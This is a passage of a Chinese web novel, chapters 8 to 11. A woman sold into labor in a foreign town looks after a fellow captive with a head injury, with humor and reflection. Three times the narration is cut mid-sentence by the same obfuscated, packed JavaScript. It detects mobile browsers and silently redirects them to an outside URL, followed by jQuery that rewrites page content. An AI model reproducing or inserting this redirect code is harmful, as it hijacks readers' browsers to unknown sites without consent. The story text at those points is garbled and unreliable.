快到岸边时天刚亮,万念俱灰的吴小卷无意之中观赏了一次海上日出。
没有电子设备,她只能用眼睛记录,被大自然的美丽震撼到,绝望感悄然褪去,内心升起一种“又活了一天,人生好像有变好一点”的错觉。
吴小卷莫名激动,下意识抓紧身边人的手。
白窦桦被硬生生掐醒,目光呆滞,伸胳膊摸后脑勺。
“是不是看见你太奶了?”
等太阳完全升起,吴小卷收回视线,才发现白窦桦的手都被她抓出了红印。
她立马松开爪子,从虚幻中脱离出来,看到白窦桦发愣的模样,直呼可怜孩子,手指在他眼前并拢,捏捏放放,又催眠又招魂一般:“太奶不是真的,她爱你,只是来看看你,你站在原地不要走动,她一会儿就去给你买橘子。”
白窦桦阖上眼睛,像是烦的。
“我根本就没见过我太奶。”他让吴小卷闭嘴,“不知道她长什么样子。”
吴小卷喔一声,双手合十,sorry,sorry。
码头连着公路,车辆行驶在路上,湿咸的空气中慢慢掺进陆地草木干燥清冽的味道,随着地势变化,海风完全散去,入眼是另外一片世界。
几个小时后,吴小卷和白窦桦被拉到一个小镇,人贩子老头要带她和他去就业中心报到。
报到点在镇中心,地理位置较高,汽车转弯上坡。
下车就见一棵巨大榕树,榕树身后立着一排排公告栏模样的东西,栏内张贴着层层纸张,有些只固定住一个角,风一吹就飘扬起来,吴小卷瞟了几眼,发现上面全是她看不懂的字体。
8. 这是镇花
穿过公告栏,来到一片空旷场地,场地边缘的一段路铺着彩虹塑胶跑道。
有不少老人在场地里,玩零星的简易健身器材,散步,做运动,滑轮椅,轮椅撞车了,扯皮拉筋大吵一架——
吵着吵着就被人带进塑胶跑道旁的独栋三层建筑。
吴小卷看愣了。
吵架会被当场抓走?
人贩子老头告诉她,那栋建筑是类似村镇委员会的地方,镇长自修自建用来办公,接待村镇居民、调解领里关系是一项常规而又重要的工作任务。
哦,镇委会,不是派出所。
三层,吴小卷站在房子前往上看,据她一路观察,这镇委会不但地理位置高,就连办公楼都属于镇里的高层建筑。
不知道什么原因,镇子里很少有人家住两层以上楼房,大部分房屋都低矮平缓,远看像是用类似泡沫塑料的特殊材料修建而成。
吴小卷一路上都在观察,发现这些屋子连房顶都圆滑无棱角,房子外壁填满五彩缤纷的涂绘,像是在童话王国里搭建起的天线宝宝之家。
想到自己和白窦桦的雇主是一群天线宝宝,吴小卷低头,清咳两声。
笑得想死。
呜——
呜呜——
有声音从背后响起,吴小卷一行人转身。
迎面是一辆摩托车轰隆隆风驰而来,摩托停稳后,车上下来一个瘦小的中年人。
中年人活像是人贩子老头的双胞胎兄弟,除了要比老头矮一点。
人贩子老头介绍说:“这是镇长。”
镇长身着迷彩短袖,草帽背在身后,两只裤腿被卷到膝盖位置,脚上没有鞋,只沾了泥迹,看样子像是正在地里干活,接到通知匆匆赶来的。
镇长赤脚也走得飞快,没几步就来到吴小卷和白窦桦两人跟前。
他首先跟人贩子老头握手,说了句什么。
然后转过身,分别给吴小卷和白窦桦一人一个拥抱,嘴里又说了几句什么。
人贩子老头精通各国语言,给初来小镇的两个“外国人”当翻译:“镇长感谢你们的到来,他说镇里居民大多都是老人和孩子,年轻人进城打工居多,附近的乡村劳动力短缺,最近又正是播种繁忙的时候,大家非常需要你们的帮助。”
吴小卷回握一下镇长带着厚厚一层老茧的手,眼皮动了动,对自己的到来表示遗憾。
感谢什么,她和白窦桦是被卖了发配到这里的苦力,又不是国际组织派过来增援的农学专家,更不可能在田野里一个人顶十头牛。
白窦桦没错过她想翻又强行忍住的白眼,一时无语,眼观鼻鼻关心,专心对抗脑袋疼。
人贩子老头送佛送到西,给人生地不熟、语言还不通的吴小卷和白窦桦介绍了一下镇里的情况,说等两人分工出来后他再离开。
分工很快就有了结果。
白窦桦被分到农活最多最重的村子,当天就要开始下地,被镇长骑摩托车捎走了。
吴小卷看着不像是擅长农活的样子,于是被分到镇长家,帮镇长女儿分担一些轻体力活。
镇长女儿是镇上的老师,最近学校放农假,不用待在学校,但她们班级里大多数学生都是留守儿童,父母不在家,家里的老人白天又得去田里干活,无人看顾,就寄放在镇长家照料补习。
偏偏镇里的发电站近期经过镇委会同意,集资购入了一台秸秆粉碎、压制、焚烧、发电、回收等多功能于一体的大型设备,急需专人负责维护使用,人手不够,镇长女儿只能每天两边跑,又看孩子又操作机器。
吴小卷替他女儿到发电站帮忙,他女儿就能专心在家培养花骨朵儿。
镇长带白窦桦去了村里,人不在。
人贩子老头便负责带路,转身又钻进车里,把吴小卷送去镇长家。
……
镇长的家跟大多数人家一样低矮平缓,但看起来年代久远,建筑材料与其他居民新修的房子不太一样,是由彩砖一块块筑牢而成的传统砖瓦房。
砖瓦房修建于一条小河之上,位置属于村镇结合部,独门独院,很是开阔。
开阔的院坝里有一些孩子在地上打滚。
像撒野的小狼崽子。
崽子们看到陌生人到访,纷纷朝门口望。
门口有一个女孩团手坐着。
人贩子老头指着她对吴小卷说:“那是镇长的女儿,这个镇子里公认最美的女人。”
镇长的女儿继承了镇长的五官,慈眉善目,宽鼻小嘴。
但她的体重和镇长明显不在一个吨位,目测至少得有200斤。
于是那些五官就被压扁封印在凸出的面颊肉和下陷的沟壑之中,看上去模糊而袖珍。
女孩穿着棉质背心裙坐在实心的圆木凳上,身上的肉往下坠,肚皮上的衣物有些贴身,让人看见那里的皮肉叠起来两三层,整个像一根将融不融的奶砖雪糕。
“奶砖雪糕”是巧克力味的,她本就肤色偏深的脸颊上密密麻麻点缀着颜色更深的雀斑,毛发浓密,扎两条粗长的麻花辫子,辫子上零星插着些白色小雏菊。
看到吴小卷和老头,女孩起身打招呼,一笑薄薄的上下唇就扯成两条线,嘴角陷进两颊肉里,只看见白亮的牙齿。
她朝吴小卷走来,身高在一米六左右。
哟,这是镇花,吴小卷退后两步,脚趾紧抠地面。
那她是什么?
恰好孩子们朝镇花扑去,阻止了镇花前进的脚步。
吴小卷趁机东张西望,寻找对照物进行自我定位。
找了一圈,低头,吴小卷视线停留在水泥地上一只显眼的生物身上。
——螳螂。
水泥地上的尖嘴螳螂。
*
孩子们围到镇花身边,是一种寻求安全感的表现。
镇花张开强壮的手臂,把叽叽喳喳的孩子们圈作一团,抱了抱,低声安抚片刻,然后继续朝吴小卷的方向走去。
大人来到吴小卷面前,小孩儿就自动跟着转移到吴小卷周围。
吴小卷正为这巨大的审美差异破防,垂头平复震撼中,猝不及防发现自己被几个娃娃轻而易举抱着腿,直挺挺抬起来了。
“干什么!”
赶尸啊?
孩子们嘻嘻哈哈抬着吴小卷满院子跑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458254|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全然不顾她的惊声尖叫。
在欢笑与尖叫声中,有人神情慌张,小跑过来找镇花和人贩子老头,嘀嘀咕咕说着什么。
镇花喊了句话,孩子们把吴小卷抬回原地放了下来。
“怎么了?”吴小卷降低重心提防着再被抬着走,问人贩子老头。
老头用一种微妙的眼神看着她:“他们说和你一起来那个男的,下地没几分钟,颤颤巍巍去了树荫下躲懒,刚偷喝一口别人缸子里的水,就抽筋倒地剧烈呕吐,吐得满田坎都是,把村民刚运回来放在树边的化肥都弄脏了。”
“把化肥……弄脏了?”
吴小卷没忍住,刻薄地噗了一声,然后迅速抬手捂嘴,假装在咳嗽。
“咳——简直是胡说八道,确定不是人被化肥熏吐了吗——咳!”
说曹操曹操到,此时弄脏化肥那男的正被一高一矮两个青年架着,慢吞吞地跟在通风报信那人后面往这边来。
等他们快到院坝里时,吴小卷做了一番表情管理,收敛笑意,飞扑上前,语带担忧地问脸色惨白的人:“怎么了这是,你别吓我。”
白窦桦闷哼一声,额头上冷汗涔涔,别说回答,连眼皮子都抬不起来。
来真的?吴小卷吃惊,化肥熏不成这样。
他偷喝的该不会是恒河水吧。
架着白窦桦的两个人都长得五官扁平脸型圆润,看起来年长一点、相对而言更个高体壮的那个捏着白窦桦发软的胳膊,大声啐了几句。
口水沫子大部分都喷到吴小卷脸上。
吴小卷转头,愣愣地问:“他说什么?”
人贩子老头:“他骂他弱鸡,已经喂了消暑药和糖盐水,还是一副半死不活的样子。”
哦,吴小卷擦脸。
她扭回头,重新打量白窦桦。
真的是中暑或者低血糖吗?
突然想到什么,吴小卷单手支撑着白窦桦的下巴,另一只手抖抖索索地去摸他的后脑勺。
白窦桦最近刚刚才剃过头,还是露头皮的超短寸。
硬挺的小粗发刺得吴小卷手心发痒,但她完全忽略了皮肤的不适,只注意到掌里摸到的肿块烫得厉害,一只手都快要包不住。
轻轻撤回手上的力道,吴小卷环着白窦桦的脖子,让他把下巴磕在自己肩头,探身去看他的后脑勺。
原本青白的头皮明显发红得厉害。
吴小卷面上终于露出焦急,病急乱投医地喊:“可能是击打造成的脑震荡,快送他去医院。”
白窦桦意识还算清醒,尽力向上挺了挺身,下巴离开吴小卷肩膀,但无法开口说话。
唯一能听懂吴小卷语言并向人翻译的老头站在她背后,沉默不语。
吴小卷心里骂得比谁都脏,但镇子里没人能听懂,为着节省气血,她就也懒得骂出声。
她转身欲动手给老头一个大比兜。
老头躲开了。
哟,老当益壮,精神矍铄,坏人长命,老天不长眼。
吴小卷气死,但无可奈何,注意力放回到白窦桦身上,想把他接过来,却被人抢了先。
定睛一看,是镇花。
9. 明天会更好
镇花轻松地从壮实青年手上把白窦桦“提”过去,表情严肃地端详片刻,把他继续往屋里“提”。
“……”
吴小卷咽了咽唾沫,双手还伸出腾空着,有点被唬住了。
这姿势是要杀鸡?
还是要宰鸭?
这里的居民吃不吃人啊?
他们不会把白窦桦炖了打个牙祭吧。
下一个轮到谁?
不会是她吧。
那让她先上吧,要不。
吴小卷摊开手,抖抖,一脸麻木地跟着进屋。
等死比直接死要命得多呀。
……
大大的屋子里小小的人满为患。
人贩子老头在任人宰割的白窦桦被提溜进屋之后就再没现身,可能是觉得已经把佛送到西天,没救了,节省时间去接下一尊冤种活佛比较要紧。
外国小卷跟在镇花屁股后面,周围全是本地儿童在叽里咕噜说着她听不懂的语言。
就很平和。
无论别人说什么,在她听来都可以当做是百灵鸟或蟋蟀的叫声,左耳进右耳出。
她非常有自知之明,明白被送过来这一路又是大海又是公路,靠自己这双腿逃跑回家无疑是异想天开,还不如顺其自然,接受命运最差的安排。
在屋里找了把椅子,吴小卷安详地坐在一旁等死。
顺便偷摸抓点桌上的瓜果零嘴吃吃。
小时候就听人说过,假如断头前没吃饱饭,过奈何桥时孟婆得多灌你几碗迷魂汤,灌得你下辈子稀里糊涂投胎做傻子。
吴小卷可不要做傻子,本来运气就不好,还做傻子,那生活得多凄惨啊。
所以她逮着啥都往嘴里送。
下辈子她要和这辈子一样聪明。
虽然照情况发展来看,这辈子好像还不一定如她所想马上就要迎来大结局——
这里没有大砍刀,也没有咕噜噜沸腾着煮人肉的锅炉,不像是贫穷落后的野人村烹饪现场。
相反大家似乎还都很讲文明。
黑是黑了点,体脂高是高了点,但普遍长得都很和善。
吴小卷将在场几个大人们都审视一遍,最后边往嘴里塞东西边将目光锁定在白窦桦身边的镇花身上。
镇花不是野人部落茹毛饮血的女酋长。
她更像是儿童收容所里的容嬷嬷。
在吴小卷的视角下,镇花被孩子们簇拥着,将白窦桦轻柔地平放在床板上,仔细观察了一番他的伤情。
然后去柜子里扯出一个大布包,将里头长长的银针捏手里,快速而精准地朝白窦桦人中额头等几个穴位扎下去,让被伤痛折磨得意识开始飘忽的白窦桦眼皮子一颤,睁开了眼睛。
吴小卷挑眉,半起身探头去看——
哟,没被扎死。
好像还清醒过来一点。
镇花的表情放松下来,随手摸摸身边儿童的脑袋,接着打开布包里的小瓶子,倒几粒迷你药丸放至白窦桦舌下含服,不一会儿就见人脸色好了不少。
我去,神医啊。
眼瞅着白窦桦暂时没有生命危险,吴小卷瘫回椅子上,觉得自己不用等了,镇花有这绝活,她只要待在镇子里老老实实当个包身工,这辈子离死可能还距离几十百万把公里。
碰上了仁慈的地主,吴小卷死里逃生,身心都感到松懈,庆幸不已。
但这庆幸只持续了不到三分钟,三分钟过后,肾上腺激素极速下降,吴小卷内心深处的绝望就又涌了上来。
那他爹的这狗屎生活什么时候才能痛快结束啊?
吴小卷悲观地撒手,掌心中的花生瓜子一齐落回盘子里。
她把头向后靠,在墙壁上打起瞌睡。
梦里吴小卷抱着一颗滚烫的带发茬的脑袋,在那脑袋上煎喷香的鸡蛋,撒点黑芝麻粒,馋得吴小卷嘴里滋滋流口水。
身边还有一群小鸡仔在不停叽叽喳喳,说要她把弟弟妹妹还给它们。
……
傍晚,镇长家简单安排了饭菜,招呼吴小卷一起吃。
吃到一半,不知道发生什么事,有一个在镇委会打过照面的保安大哥突然急匆匆进门,喊叫着打报告,镇长和镇花放下碗起身就要出门,对吴小卷交代了几句,吴小卷一个音节也没听懂。
大概是让她看门吧,吴小卷猜想,于是朝镇花挥挥手,示意自己不会偷鸡拐牛,蓄意逃跑,让父女俩放心快走。
然后她继续坐下心安理得地进食,吃完躺椅背上,看着孩子们横冲直撞地收拾饭桌。
……
寄放在镇长家的孩子们像抢kpi一样争先恐后搞完家务,就在室内做起了游戏,没过一会儿,游戏结束,他们自觉排排站,在门口从矮到高列好了队形等人来接。
时间慢慢过去。
大部分孩子都被家里人接走,只剩下一个最小的,站门口望眼欲穿。
吴小卷比划打量了一下,估摸这孩子要在丝状国出生,那现在还应该是上幼儿园大班的年纪。
可怜见的,不仅这么小就开始上学补习,还被不知道哪个粗心家长忘了自己寄放在别人家的事情。
吴小卷百无聊赖,吃完饭就一直在屋子里搜刮水果零食,嘴吃累了,迈开腿,打着饱嗝,跨过门槛,路过小孩,瞟他一眼,兀自朝着一条小路前进,悠闲地往河边捡石子打水漂去了。
等她消完食,夜幕已经完全降临。
镇子里的空气质量极好,不见雾霾污染笼罩上空,星星和月亮都很大个儿,清晰而明亮。
这在吴小卷从出生到被拐卖前都不曾离开过的那座城市里是很难见到的景观。
月光下,吴小卷屈膝坐在河边,时不时朝水里扔个石子儿。
河面倒映着浮动的天空,渺小的她夹在中间,像是被星河圆月与水花包裹住,给予轻柔的抚慰。
深吸一口气,肺腑都清甜起来。
很奇怪,在这个疑似进行着人口买卖勾当的罪恶之镇,吴小卷居然感到前所未有的放松与开阔。
没有什么事急着要做,没有什么人催着要见,也不必因为躲避哥哥而换工作换住址。
这里山清水秀、花红柳绿、鸟语蝉鸣,一切都很平和很梦幻,时间的流逝似乎不会勾起人内心的焦虑,让人被裹挟着向自我抗拒的方向推进挤压。
她能够凝神静气,观察感受自身以外万物的生长与凋零,流淌与驻足。
山水海天皆显灵性,日月更替自有韵律。
看看它们孕育出的草木枝叶、花鸟鱼虫,吴小卷的思维好像也渐渐变得轻快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458255|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敞亮,察觉人生或许可以不像以前那样早早建碑立棺,半截入土,只等着杂草丛生将自己淹没。
而是有一个值得向往的明天。
呼。
就在几天之内,吴小卷远离家乡,接二连三遭遇危机,却在海上浪潮中、异国小镇里,被大自然治愈了两次。
她挺胸抬头,忍不住在颅内高唱一首《明天会更好》。
——好不了的。
笑看明天对她的吸引力只是短暂地出现了一会儿。
当回到院子里,吴小卷看见小孩迷茫的小脸转向她,然后上手扯她衣角时,这吸引力就猛然下降了。
她san值狂掉,脑海中的bgm霎时切换成了《我们都在用力地活着》。
还没人来接呢?
烦死。
第一次“被迫远行接近自然行动”带来的好心情消失殆尽,吴小卷脚步不停,没管那小孩。
小孩倒是不计较地跟在大人屁股后头,进了收留白窦桦那间像是育儿室的宽敞里屋。
他自觉爬到角落的一排小床上躺好,还给自己盖上了小被子。
小床就在白窦桦躺尸的床旁边,大概是为了方便孩子们睡午觉临时支的。
一张大床和一排小床的床头都靠墙,床沿左右悬空,没有护栏,木制床脚细瘦陈旧,睡在床板上面的人动作一大,整张床就咯吱作响。
屋里的灯光昏暗。
吴小卷吹着恐怖片里的温馨小调,取来洗脸盆前挂的一面发黄镜子,对镜自赏。
赏一赏这尖脸大眼的母螳螂。
就在镜子里的螳螂孤芳自赏欲哭无泪时,白窦桦弹了下腿。
吴小卷嘟着口哨嘴,斜眼,看到床上受伤的男人不知何时大睁着眼睛。
怎么,僵尸变异啊。
想到白僵尸那短短时间内连续遭受暴击的苦命后脑壳子,吴小卷放下镜子,去到床边,观察片刻,伸出两根手指在白窦桦眼前晃了晃。
问:“这是几?”
白窦桦目光根本没聚焦在手指上,嘴里更是不答话。
吴小卷就知道,他是傻了。
傻子是这样,喜欢直勾勾地盯着美女看。
摊开手把“天灵灵地灵灵妖魔鬼怪快显形”嘀咕了半天,吴小卷握拳,仿佛已经接手妖魔鬼怪的力量黑化成功,自顾自地朝白窦桦发出警告:“不要指望我会伺候你,我从来不伺候别人。”更别说僵尸。
摸了摸自己的脸,她又一通输出:“我不是仗着我漂亮就不伺候人,我就算从今天起是个大家都公认的丑女人、从出生就被别人说是丑女人,我也绝对,不会,伺候别人。”
白窦桦不说话,躺在床上张嘴喘气。
像砧板上的鱼。
吴小卷哼哼两声,继续自己的宣言:“你是不是觉得我没有公主命得了公主病?可我没有要求别人伺候我,我只是不伺候——”
白窦桦额头上包着纱布,汗都冒出来,浸湿布料,直往太阳穴淌。
面对吴小卷突如其来的戏精中二病发作,他闭了闭眼,咬紧牙关忍过一阵晕眩。
听吴小卷还在滔滔不绝,他冷不丁说:“没那么觉得。”
吴小卷:“——别人……啊?”
白窦桦:“我没像你说的那么觉得。”
10. 妈妈的妈妈叫什么
刹那间,黑气从吴小卷头顶冒出溜走,她看着白窦桦,有些宕机。
这人原来没傻。
没有说他必须要傻的意思。只是颅脑受损过后不得有一个功能恢复阶段吗,怎么直接清醒得像个没事人了。
什么头啊这么硬?
吴小卷内心思绪万千,头脑风暴席卷,外在表现却安静如鸡。
像是以为她不信,白窦桦又摆事实讲道理:“我不觉得你有公主病,也没有说过要你伺候我。”
膝盖一弯扑到白窦桦跟前,吴小卷回过神,故技重施,进行紧急补救,手掌在白窦桦眼前一捏一放,催眠说:“你什么都没听见,什么都没听见……”
白窦桦:“我听见了。”
他说:“一个字都没落下。”
哟,来脾气了。
吴小卷内心的失措猛地到达顶点,但是很快又以跳楼机的速度降下来。
尴尬是什么,尴尬又不能挽回一个在清醒状态下听到自己口出狂言的无语老乡,一个不趁人之危的能干家政,一个在狂风暴雨厄运袭来时还毅然把救生器材让给队友的好同志。
“说出来你可能不信。”吴小卷尝试着找理由,“其实我有一个演员梦,会不定期进行即兴表演,用来鞭策自己逐梦演艺圈。”
白窦桦确实不信:“嘁。”
“别气呀。”吴小卷很快调整好表情,表演欲十足地撒娇道,“我的好龟龟~”
不管用,白窦桦脸上的死气更甚,脸一个钝角大转弯,朝与吴小卷相反的方向偏去。
吴小卷加把劲,把白窦桦的头扳回自己这边,换个方式求和:“虽然我不会伺候别人,哥哥也没有说过要人伺候,但哥哥之前很照顾我,现在换我照顾哥哥,这不叫伺候,叫报恩,叫互相帮助,也叫做好人好事。”
吴小卷龇着牙,笑呵呵,代表她祝福白窦桦身体安康阖家欢乐。
挺喜庆,但很假。
白窦桦不再回应。
吴小卷坐到床边,贴心问他:“想吃什么?我刚刚看到外面有鸡棚,可以去看看能不能给你摸两个蛋。”
白窦桦白天吐出胆汁,晚上又没吃饭,照理应该到进食的时候了。
但现在他在发烧,烧得头晕,胃也缩成一团犯恶心,实在吃不下鸡蛋。
吴小卷便端来一碗加了白砂糖和盐的米汤,用勺子连哄带骗强硬地喂他喝了许多。
她把镇花放在枕边的温度计插进白窦桦胳肢窝,过了几分钟,拿出来看度数,看完撸起袖子去厕所端盆冷水进来,脱掉白窦桦的衣服,生疏地帮他擦身降温。
“之前听说你父母生过重病——”白窦桦被翻来覆去地倒腾,感觉自己体内的米汤都快涌到喉咙口,体外的皮肤被擦掉了十八层角质。
不过该说不说,也多亏了齁甜齁咸的米汤,他才恢复了些精气神。
白窦桦自己尽量撑起身体,感叹吴小卷看起来瘦,但力气真大的同时,疑惑道:“——那时候是谁照顾二位?”
“我哥啊。”吴小卷继续手上洗刷刷的动作,理所当然道。
白窦桦:“你呢?”
吴小卷:“我什么?”
白窦桦:“你哥照顾你爸妈的时候,你在干什么?”
吴小卷:“在伤心啊。”
白窦桦:“你不是说你家重男轻女,你爹不疼娘不爱吗?”
“啊?”吴小卷用毛巾使劲搓了搓白窦桦的胳肢窝,回忆起来自己好像是说过这么个话,一时想不出来怎么找补,只能干笑两声,“哈哈。”
看来是编的,白窦桦闭眼。
张口就来,现在都不稀得圆谎了都。
真是。
胳肢窝真是好痛……
好不容易让白窦桦体温恢复正常,吴小卷放下毛巾,正在做拉伸运动,顺便物色自己今晚安眠的好地方,就听到小床咯吱咯吱的动静大起来。
转头一瞧,她才发现躺在一排小床上的那个早就应该入睡的唯一小矮人还睁着双大眼睛,胳膊伸到被子外面,眼珠子滴溜溜到处转。
“……”
“快睡!”吴小卷恐吓说,“不然恶毒皇后马上就来喂你吃毒苹果!”
不料竟把小孩的目光吸引过来,看她像看什么稀奇物件。
“不对,没有苹果。”吴小卷改口,“是会有熊瞎子来啃你脚!”
小孩盯着吴小卷,一言不发。
两人大眼瞪小眼,谁也不知道对方想干什么。
国外小孩听不懂人话啊,吴小卷刻薄地想,那总该会察言观色吧。
她比划起熊瞎子扑人的动作,模拟着熊瞎子啃脚趾的音效。
小孩开心地露出乳牙笑起来。
“……”什么意思。
小孩掀开被子爬坐起来,开始跟学动作和声音。
完全是把吴小卷当成幼师了。
吴小卷烦死,讨厌小屁孩。
小屁孩还在放肆。
吴小卷走到小床边,叉腰,准备啃他脚。
太恶心了,吴小卷换成扯他脚。
爱睡不睡,不睡滚去和活死人一个铺。
吴小卷打算提溜小屁孩到白窦桦床上。
活死人白窦桦张嘴叭叭:“小吴,我给你讲一个故事吧。”
又讲故事,你是唐三藏吗?
吴小卷不愿意听人念经。
但是刚刚才把老乡哄好,她更不愿意重蹈覆辙。
于是吴小卷弯着腰扭头,假惺惺一笑,露出浅浅的梨涡,温柔道:“你说。”
白窦桦:“从前有一个仙子,下凡到人间历练时随便找了个澡堂子,准备焚香沐浴,把自己洗得香喷喷白嫩嫩,做一个人见人爱的上等仙,谁知道刚脱下华丽服饰和财物放在水池边,就看见管理员以乱堆乱放为由将衣物全部收走扔进垃圾桶,仙子愣了,穿着裤衩子愤然离场,出门时怒意上头,恶意愚弄了一番正把垃圾桶往外运的倒霉清洁工,从那一刻开始,仙子受到惩罚,被诅咒厄运缠身,丧失法力,彻底变成了普通人。”
故事戛然而止。
吴小卷等了几秒,问:“没啦?”
白窦桦:“没了。”
吴小卷:“啊?”
这个故事太简短深奥了,吴小卷下意识反复回味,不知那根筋搭错了,竟然追究起故事的细节。
那仙子该是个男的吧,光穿着条裤衩子就到处乱跑,一点不害臊。
等等,仙子不会又是白窦桦对自己的代称吧。
很无聊诶。
吴小卷想到什么问什么:“仙子是你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458256|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”
白窦桦:“不是。”
不是那就更无聊了。
吴小卷沉默几秒,终于意识到这个故事的讲述者是个刚退烧不久的脑震荡患者,故事本质上是一团浆糊产出的一堆垃圾数据,不能细想,没必要深究。
讲述者却在这时要求做阅读理解了:“你不问问这个故事告诉人们什么道理吗?”
行,做戏做全套。
吴小卷很配合,表现出求知若渴的模样:“那么这个故事想要告诉我们什么道理呢?”
白窦桦语重心长:“告诉我们要善良。”
吴小卷疑惑皱眉。
白窦桦:“不能伤及无辜。”
吴小卷上眼皮开始颤动。
怕听的人还不懂,白窦桦最后补充一句:“未成年人睡觉不老实,和伤患同床是一件很危险的事情。”
“……”
吴小卷一刹那白眼差点翻上天。
得,感情仙子不是指白窦桦,是指她。
就是说不能把小屁孩扔他床上呗,真难为白窦桦还为此硬编了个前言不搭后语的抽象故事。
我谢谢你,吴仙子咬牙,心说但是我才不会穿着裤衩子在澡堂子门口发疯呢。
平复一下情绪,吴小卷朝白窦桦点点头。
大师,我悟了。
收了你那神通吧。
既然不能让未成年人和伤患同床,那就只能委屈自己这个成年人和伤患挤一张床了。
放开手,吴小卷直视小孩,生硬地开始唱摇篮曲哄睡:“妈妈的爸爸叫什么?”
顿一秒:“妈妈的爸爸叫姥爷。”
再唱:“妈妈的妈妈叫什么?”
快睡吧,睡着了阿姨才好上叔叔的床。
脚落在床铺边缘一扭一扭的小屁孩好奇地望着她。
白窦桦也在爬,爬到一半,举手:“老婆——”
吴小卷立即阻止轻浮男子:“没有老婆,不听故事。”
白窦桦:“我是说,妈妈的妈妈叫姥婆。”
吴小卷:“……什么姥婆!得叫姥姥。”
白窦桦点头表示受教。
他好学生样,继续举手:“我想撒尿,麻烦给我个夜壶。”
吴小卷现在困得想死,直接不装了:“也没有夜壶。”
白窦桦单手撑着自己很费劲儿,一句话三喘气:“不是——呼——要互相——哈——帮助吗?”
吴小卷去扒拉小孩,想把他摁下去,对白窦桦说:“行了,别喘了。忍一会儿。”
白窦桦:“急。”
吴小卷扭头,善良值耗尽,崩溃地说:“急什么急,你是国王还是你吉吉是国王啊。”
平民白窦桦捏紧被角,发布重要通告:“要尿床上了。”
公鸡起夜,更深露重。
“临时护工加对牛弹琴儿童保姆”吴小卷收拾好老的小的,把夜壶踢到床底下,终于精疲力竭,拉灭屋子里的灯,躺倒在白窦桦的身旁,气呼呼地埋头大睡。
梦里觉得冷了,手脚一动,侧身一卷,一整床铺盖就全部朝她裹了过去。
白窦桦试图拉回一个角,险些被踢下床。
“……”
这位女士貌似比活泼好动的未成年人还要更危险一点。
11. 名字这么软
吴小卷的头发有很长一段时间没去拉直,散下来摊成一片,是柔软的自来卷。
白窦桦抬手将糊到脸上的几缕头发抓起,捏了捏,再甩开。
没过几秒又反手一抓,把长长的头发丝牢牢攥在掌心。
吴小卷头皮能感觉到轻微拉扯,来回翻动身体,不满地磨起了牙。
黑暗中,白窦桦无奈地叹了口气。
睡在自己身旁这个女的,名字那么软,皮肤那么软,头发那么软,整个人看起来都那么软,牙口和心肠有时候却挺硬。
“嗯!——”
腰椎又被吴小卷曲起的膝盖顶上一顶。
白窦桦闷哼出声,放开头发,捂住了自己的嘴。
他窝在床边,压抑地喘息。
骨头也很硬。
须臾过后,白窦桦腰间的刺痛缓缓消散,他扯了扯嘴角,稍微用力曲肘抵在床板上,以免真的掉下床压到吴小卷的鞋子再麻烦她把他搬开,讽刺他是“坠”婿。
屏蔽听觉,白窦桦姿势扭曲,就这样慢慢放平了呼吸。
房间里咯吱声、磨牙声、喘气声此起彼伏,三人互不影响,睡得香甜,一夜无梦。
第二天。
吴小卷醒得比谁都晚。
看看阳光从窗□□进屋里的角度,时间应该没到正午。
吴小卷觉得还行,不是很过分。
毕竟按她平时的作息,都没有上午这一说。
被子大半截已经掉到地上,吴小卷懒洋洋伸腰抬臂一掀,整床被子就脱离了床面。
“几个意思?”
吴小卷听到身旁有人幽幽说话,扭头一看,是身体贴在床沿、眼睛睁了半天的白窦桦。
白窦桦顶着一脸憔悴:“现在就是说,你不盖的被子也不能让我盖是吧。”
吴小卷讪讪。
她下床给人把被子捡起来,揉成一坨丢到白窦桦旁边大片的空位上,当无事发生过。
白窦桦的嘴微张,看起来又要讲故事。
为逃避唠叨,吴小卷立即拿起桌上的碗筷快步往门外走,一副眼里有活、很忙碌、没空听讲的样子。
“镇长还没回来?”
吴小卷去外屋转了一圈,看到昨天打过照面的孩儿们早已经又被送过来,排排蹲,正在玩蚂蚁,回来问白窦桦。
“回来过了,”白窦桦已经把自己移到了床中央,躺得四平八稳,“来接孩子的。”
吴小卷这才发现小床上的那个孩子没了。
吴小卷一屁股坐小床上,正对着白窦桦:“干什么去了?”
白窦桦:“没听懂。”
吴小卷心道自己说的是什么很难理解的句子吗,眼睛睁大了半拉:“啊?”
白窦桦:“那些人说了什么我没听懂。”
吴小卷眼皮子掉回去:“哦。”
她发现自己老是对白窦桦没有变傻这件事情持怀疑态度,还好刚刚表现得不是很明显。
白窦桦抿紧嘴唇,鼻子里冲出两股无语的气体。
很明显好吗。
时间一分一秒过去。
